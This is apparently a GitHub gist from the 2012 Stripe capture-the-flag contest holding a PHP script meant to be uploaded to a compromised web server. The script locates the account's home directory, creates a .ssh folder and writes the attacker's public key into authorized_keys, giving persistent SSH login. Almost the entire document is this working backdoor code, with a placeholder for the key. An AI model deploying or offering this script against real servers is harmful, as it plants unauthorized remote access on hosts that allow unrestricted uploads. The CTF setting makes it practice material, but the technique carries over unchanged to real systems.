Created
August 25, 2012 02:28
-
-
Save bubba-h57/3459016 to your computer and use it in GitHub Desktop.
Stripe CTF Level 8 - Compromise Level 2 Server for SSH login w/Public Key
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head> | |
<title>Bubba Hacks Level 2 Server</title> | |
</head> | |
<body> | |
<?php | |
$myPubKey = 'STICK YER OWN PUB KEY INFO HERE'; | |
print "Finding Real Path ...<br/>"; | |
// This should be something like | |
// /mount/home/user-cijredgaxu/public_html/uploads | |
$uploadsDir = realpath(getcwd()); | |
print("Found $uploadsDir <br/>"); | |
list($empty, $mount, $home, $userid, $public, $up) = split('/', $uploadsDir); | |
//print $userid; | |
// easier to just move back two directories | |
// to get to our home dir | |
chdir($uploadsDir . '/../..'); | |
$homeDir = realpath(getcwd()); | |
print("Moved to $homeDir<br/>"); | |
$sshDir = $homeDir . '/.ssh'; | |
@mkdir($sshDir); | |
$authorized_keys = $sshDir . '/authorized_keys'; | |
if (file_put_contents($authorized_keys, $myPubKey) === FALSE){ | |
die("Couldn't write to $authorized_keys!"); | |
} | |
print("Wrote your public key to $authorized_keys.<br/>"); | |
print("You may now SSH in as <strong>$userid&{$_SERVER['SERVER_NAME']}</strong> with the appropriate private key!"); | |
?> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment